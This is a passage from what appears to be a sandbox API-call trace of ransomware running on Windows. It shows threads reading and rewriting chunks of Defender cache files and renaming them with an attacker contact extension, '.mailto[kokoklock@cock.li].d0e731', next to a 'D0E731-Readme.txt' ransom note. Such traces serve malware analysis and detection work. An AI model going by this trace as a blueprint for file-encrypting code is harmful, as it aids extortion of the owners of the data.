(lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.7E" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.7e")) returned 0x20 [0078.786] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.7E", dwFileAttributes=0x20) returned 1 [0078.786] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.7E" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.7e"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5cc [0078.786] GetFileSizeEx (in: hFile=0x5cc, lpFileSize=0x214bfb4c | out: lpFileSize=0x214bfb4c*=3997464) returned 1 [0078.786] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x3cff14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.786] ReadFile (in: hFile=0x5cc, lpBuffer=0x214bfb20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x214bfb1c, lpOverlapped=0x0 | out: lpBuffer=0x214bfb20*, lpNumberOfBytesRead=0x214bfb1c*=0x4, lpOverlapped=0x0) returned 1 [0078.788] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.788] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492ed8 [0078.788] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492f00 [0078.788] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492fa0 [0078.788] NtQuerySystemTime (in: CurrentTime=0x214bfaf8 | out: CurrentTime=0x214bfaf8*=132121176366887003) returned 0x0 [0078.788] RtlRandom (in: Seed=0x214bfb04 | out: Seed=0x214bfb04) returned 0xf870d3aa [0078.788] RtlRandom (in: Seed=0x214bfb04 | out: Seed=0x214bfb04) returned 0x72c8333e [0078.788] RtlRandom (in: Seed=0x214bfb04 | out: Seed=0x214bfb04) returned 0x6f093337 [0078.788] RtlRandom (in: Seed=0x214bfb04 | out: Seed=0x214bfb04) returned 0x52070af7 [0078.788] RtlRandom (in: Seed=0x214bfb04 | out: Seed=0x214bfb04) returned 0x8c46e6f2 [0078.788] RtlRandom (in: Seed=0x214bfb04 | out: Seed=0x214bfb04) returned 0x969b4b82 [0078.788] RtlRandom (in: Seed=0x214bfb04 | out: Seed=0x214bfb04) returned 0xc813d46b [0078.788] RtlRandom (in: Seed=0x214bfb04 | out: Seed=0x214bfb04) returned 0x4903217a [0078.789] RtlRandom (in: Seed=0x214bfb04 | out: Seed=0x214bfb04) returned 0xcefb0167 [0078.789] RtlRandom (in: Seed=0x214bfb04 | out: Seed=0x214bfb04) returned 0xc1763508 [0078.789] RtlRandom (in: Seed=0x214bfb04 | out: Seed=0x214bfb04) returned 0xf99c42ee [0078.789] RtlRandom (in: Seed=0x214bfb04 | out: Seed=0x214bfb04) returned 0x63174dc3 [0078.789] RtlRandom (in: Seed=0x214bfb04 | out: Seed=0x214bfb04) returned 0xfd41ebab [0078.789] RtlRandom (in: Seed=0x214bfb04 | out: Seed=0x214bfb04) returned 0x6b7dc4a3 [0078.789] RtlRandom (in: Seed=0x214bfb04 | out: Seed=0x214bfb04) returned 0xa695b38c [0078.789] RtlRandom (in: Seed=0x214bfb04 | out: Seed=0x214bfb04) returned 0xe4013268 [0078.789] RtlRandom (in: Seed=0x214bfb04 | out: Seed=0x214bfb04) returned 0x79931ce1 [0078.789] RtlRandom (in: Seed=0x214bfb04 | out: Seed=0x214bfb04) returned 0x93423298 [0078.789] RtlRandom (in: Seed=0x214bfb04 | out: Seed=0x214bfb04) returned 0x1811c293 [0078.789] RtlRandom (in: Seed=0x214bfb04 | out: Seed=0x214bfb04) returned 0x5badf033 [0078.789] RtlRandom (in: Seed=0x214bfb04 | out: Seed=0x214bfb04) returned 0xdd575c70 [0078.789] RtlRandom (in: Seed=0x214bfb04 | out: Seed=0x214bfb04) returned 0xd2448664 [0078.789] RtlRandom (in: Seed=0x214bfb04 | out: Seed=0x214bfb04) returned 0xf8fa3f21 [0078.789] RtlRandom (in: Seed=0x214bfb04 | out: Seed=0x214bfb04) returned 0xa482bb1f [0078.789] RtlRandom (in: Seed=0x214bfb04 | out: Seed=0x214bfb04) returned 0xdce8e736 [0078.789] RtlRandom (in: Seed=0x214bfb04 | out: Seed=0x214bfb04) returned 0x327e4c29 [0078.789] RtlRandom (in: Seed=0x214bfb04 | out: Seed=0x214bfb04) returned 0x3fbd27e8 [0078.789] RtlRandom (in: Seed=0x214bfb04 | out: Seed=0x214bfb04) returned 0x3ead6830 [0078.789] RtlRandom (in: Seed=0x214bfb04 | out: Seed=0x214bfb04) returned 0x349dc5db [0078.789] RtlRandom (in: Seed=0x214bfb04 | out: Seed=0x214bfb04) returned 0x67e3c83d [0078.789] RtlRandom (in: Seed=0x214bfb04 | out: Seed=0x214bfb04) returned 0xabe47960 [0078.789] RtlRandom (in: Seed=0x214bfb04 | out: Seed=0x214bfb04) returned 0x146fe3c [0078.800] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0078.800] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492ed8) returned 1 [0078.800] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348d230 [0078.800] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.800] ReadFile (in: hFile=0x5cc, lpBuffer=0x348d230, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x214bfab8, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x214bfab8*=0x4096, lpOverlapped=0x0) returned 1 [0078.801] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.802] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcce0 [0078.802] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0078.802] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492ed8 [0078.802] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492ed8) returned 1 [0078.802] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0078.802] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492ed8 [0078.802] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34932c0 [0078.802] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34932c0) returned 1 [0078.802] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0078.802] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0078.802] WriteFile (in: hFile=0x5cc, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x214bfab8, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x214bfab8*=0x4096, lpOverlapped=0x0) returned 1 [0078.803] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0078.803] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x1e86e6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.803] ReadFile (in: hFile=0x5cc, lpBuffer=0x348d230, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x214bfab8, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x214bfab8*=0x4096, lpOverlapped=0x0) returned 1 [0078.804] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x1e86e6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.804] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0078.804] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480570 [0078.804] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3493298 [0078.804] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3493298) returned 1 [0078.805] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0078.805] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3493298 [0078.805] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34932c0 [0078.805] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34932c0) returned 1 [0078.805] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0078.805] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0078.805] WriteFile (in: hFile=0x5cc, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x214bfab8, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x214bfab8*=0x4096, lpOverlapped=0x0) returned 1 [0078.805] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0078.805] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x3cbe82, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.805] ReadFile (in: hFile=0x5cc, lpBuffer=0x348d230, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x214bfab8, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x214bfab8*=0x4096, lpOverlapped=0x0) returned 1 [0078.806] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x3cbe82, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.806] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fced8 [0078.806] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347fee0 [0078.806] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34932e8 [0078.806] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34932e8) returned 1 [0078.806] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0078.807] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34932c0 [0078.807] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34932e8 [0078.807] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34932e8) returned 1 [0078.807] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fee0) returned 1 [0078.807] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fced8) returned 1 [0078.807] WriteFile (in: hFile=0x5cc, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x214bfab8, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x214bfab8*=0x4096, lpOverlapped=0x0) returned 1 [0078.807] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0078.807] WriteFile (in: hFile=0x5cc, lpBuffer=0x3492ed8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x214bfb14, lpOverlapped=0x0 | out: lpBuffer=0x3492ed8*, lpNumberOfBytesWritten=0x214bfb14*=0x20, lpOverlapped=0x0) returned 1 [0078.807] WriteFile (in: hFile=0x5cc, lpBuffer=0x3493298*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x214bfb14, lpOverlapped=0x0 | out: lpBuffer=0x3493298*, lpNumberOfBytesWritten=0x214bfb14*=0x20, lpOverlapped=0x0) returned 1 [0078.807] WriteFile (in: hFile=0x5cc, lpBuffer=0x34932c0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x214bfb14, lpOverlapped=0x0 | out: lpBuffer=0x34932c0*, lpNumberOfBytesWritten=0x214bfb14*=0x20, lpOverlapped=0x0) returned 1 [0078.807] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348d230) returned 1 [0078.807] WriteFile (in: hFile=0x5cc, lpBuffer=0x3493338*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x214bfb1c, lpOverlapped=0x0 | out: lpBuffer=0x3493338*, lpNumberOfBytesWritten=0x214bfb1c*=0x8, lpOverlapped=0x0) returned 1 [0078.807] WriteFile (in: hFile=0x5cc, lpBuffer=0x214bfb34*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x214bfb1c, lpOverlapped=0x0 | out: lpBuffer=0x214bfb34*, lpNumberOfBytesWritten=0x214bfb1c*=0x4, lpOverlapped=0x0) returned 1 [0078.807] WriteFile (in: hFile=0x5cc, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x214bfb1c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x214bfb1c*=0x4, lpOverlapped=0x0) returned 1 [0078.807] WriteFile (in: hFile=0x5cc, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x214bfb1c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x214bfb1c*=0x6c, lpOverlapped=0x0) returned 1 [0078.808] WriteFile (in: hFile=0x5cc, lpBuffer=0x3492f00*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x214bfb1c, lpOverlapped=0x0 | out: lpBuffer=0x3492f00*, lpNumberOfBytesWritten=0x214bfb1c*=0x20, lpOverlapped=0x0) returned 1 [0078.808] WriteFile (in: hFile=0x5cc, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x214bfb1c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x214bfb1c*=0x4, lpOverlapped=0x0) returned 1 [0078.808] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492f00) returned 1 [0078.808] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3493310) returned 1 [0078.808] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3493338) returned 1 [0078.808] CloseHandle (hObject=0x5cc) returned 1 [0079.050] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x11a) returned 0x33e20f8 [0079.050] wcscpy (in: _Dest=0x33e20f8, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.7E" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.7E") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.7E" [0079.050] wcscat (in: _Dest=0x33e20f8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.7E.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.7E.mailto[kokoklock@cock.li].d0e731" [0079.050] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.7E" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.7e"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.7E.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.7e.mailto[kokoklock@cock.li].d0e731")) returned 1 [0079.052] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.7E.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0079.052] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e20f8) returned 1 [0079.052] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.7E", dwFileAttributes=0x20) returned 0 [0079.052] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8e) returned 0x348be38 [0079.052] wcscpy (in: _Dest=0x348be38, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\" [0079.052] wcscat (in: _Dest=0x348be38, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\D0E731-Readme.txt" [0079.052] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\d0e731-readme.txt")) returned 0x20 [0079.052] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348be38) returned 1 [0079.052] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347ac60) returned 1 [0079.052] RtlExitUserThread (Status=0x1) Thread: id = 912 os_tid = 0x1544 [0078.787] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.80" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.80")) returned 0x20 [0078.787] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.80", dwFileAttributes=0x20) returned 1 [0078.801] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.80" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.80"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 [0078.804] GetFileSizeEx (in: hFile=0x3f0, lpFileSize=0x2153f770 | out: lpFileSize=0x2153f770*=13622339) returned 1 [0078.804] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0xcfdc3f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.804] ReadFile (in: hFile=0x3f0, lpBuffer=0x2153f744, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2153f740, lpOverlapped=0x0 | out: lpBuffer=0x2153f744*, lpNumberOfBytesRead=0x2153f740*=0x4, lpOverlapped=0x0) returned 1 [0079.059] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.059] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3493338 [0079.059] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3493310 [0079.059] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34932e8 [0079.059] NtQuerySystemTime (in: CurrentTime=0x2153f71c | out: CurrentTime=0x2153f71c*=132121176369542147) returned 0x0 [0079.059] RtlRandom (in: Seed=0x2153f728 | out: Seed=0x2153f728) returned 0x22b05410 [0079.060] RtlRandom (in: Seed=0x2153f728 | out: Seed=0x2153f728) returned 0x74ef2a6b [0079.060] RtlRandom (in: Seed=0x2153f728 | out: Seed=0x2153f728) returned 0x5d873a2d [0079.060] RtlRandom (in: Seed=0x2153f728 | out: Seed=0x2153f728) returned 0x351cf189 [0079.060] RtlRandom (in: Seed=0x2153f728 | out: Seed=0x2153f728) returned 0xbbcf09ec [0079.060] RtlRandom (in: Seed=0x2153f728 | out: Seed=0x2153f728) returned 0x5f798c8d [0079.060] RtlRandom (in: Seed=0x2153f728 | out: Seed=0x2153f728) returned 0x8865e787 [0079.060] RtlRandom (in: Seed=0x2153f728 | out: Seed=0x2153f728) returned 0x43d32d8b [0079.060] RtlRandom (in: Seed=0x2153f728 | out: Seed=0x2153f728) returned 0xfbd2d566 [0079.060] RtlRandom (in: Seed=0x2153f728 | out: Seed=0x2153f728) returned 0xe3940d50 [0079.060] RtlRandom (in: Seed=0x2153f728 | out: Seed=0x2153f728) returned 0xd4972a64 [0079.060] RtlRandom (in: Seed=0x2153f728 | out: Seed=0x2153f728) returned 0xc6d24e79 [0079.060] RtlRandom (in: Seed=0x2153f728 | out: Seed=0x2153f728) returned 0xe4133999 [0079.060] RtlRandom (in: Seed=0x2153f728 | out: Seed=0x2153f728) returned 0x75abf6ce [0079.060] RtlRandom (in: Seed=0x2153f728 | out: Seed=0x2153f728) returned 0x7e51951c [0079.060] RtlRandom (in: Seed=0x2153f728 | out: Seed=0x2153f728) returned 0xda94f842 [0079.060] RtlRandom (in: Seed=0x2153f728 | out: Seed=0x2153f728) returned 0xd61f1026 [0079.060] RtlRandom (in: Seed=0x2153f728 | out: Seed=0x2153f728) returned 0x191c6852 [0079.060] RtlRandom (in: Seed=0x2153f728 | out: Seed=0x2153f728) returned 0x9298b146 [0079.060] RtlRandom (in: Seed=0x2153f728 | out: Seed=0x2153f728) returned 0xd0bd1a40 [0079.060] RtlRandom (in: Seed=0x2153f728 | out: Seed=0x2153f728) returned 0x5bbcf2d [0079.060] RtlRandom (in: Seed=0x2153f728 | out: Seed=0x2153f728) returned 0xf9108a7d [0079.060] RtlRandom (in: Seed=0x2153f728 | out: Seed=0x2153f728) returned 0x6b774cd3 [0079.060] RtlRandom (in: Seed=0x2153f728 | out: Seed=0x2153f728) returned 0x847bfb1 [0079.060] RtlRandom (in: Seed=0x2153f728 | out: Seed=0x2153f728) returned 0x517d0ce4 [0079.060] RtlRandom (in: Seed=0x2153f728 | out: Seed=0x2153f728) returned 0xef0c21cd [0079.060] RtlRandom (in: Seed=0x2153f728 | out: Seed=0x2153f728) returned 0x5f9b03 [0079.060] RtlRandom (in: Seed=0x2153f728 | out: Seed=0x2153f728) returned 0xff6ad63f [0079.060] RtlRandom (in: Seed=0x2153f728 | out: Seed=0x2153f728) returned 0xc7690eac [0079.060] RtlRandom (in: Seed=0x2153f728 | out: Seed=0x2153f728) returned 0xe7458f19 [0079.060] RtlRandom (in: Seed=0x2153f728 | out: Seed=0x2153f728) returned 0x955e018f [0079.060] RtlRandom (in: Seed=0x2153f728 | out: Seed=0x2153f728) returned 0x54d0a05c [0079.083] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0079.083] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3493338) returned 1 [0079.083] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348d230 [0079.083] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.083] ReadFile (in: hFile=0x3f0, lpBuffer=0x348d230, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2153f6dc, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x2153f6dc*=0x4096, lpOverlapped=0x0) returned 1 [0079.085] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.085] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcce0 [0079.085] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0079.085] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3493338 [0079.085] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3493338) returned 1 [0079.085] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0079.085] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3493338 [0079.086] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34924d8 [0079.086] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34924d8) returned 1 [0079.086] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0079.086] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0079.086] WriteFile (in: hFile=0x3f0, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2153f6dc, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x2153f6dc*=0x4096, lpOverlapped=0x0) returned 1 [0079.086] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0079.086] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x67f168, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.086] ReadFile (in: hFile=0x3f0, lpBuffer=0x348d230, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2153f6dc, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x2153f6dc*=0x4096, lpOverlapped=0x0) returned 1 [0079.088] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x67f168, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.088] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0079.088] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480570 [0079.088] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492758 [0079.088] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492758) returned 1 [0079.088] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0079.089] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492708 [0079.089] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34925a0 [0079.089] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34925a0) returned 1 [0079.089] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0079.089] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0079.089] WriteFile (in: hFile=0x3f0, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2153f6dc, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x2153f6dc*=0x4096, lpOverlapped=0x0) returned 1 [0079.089] 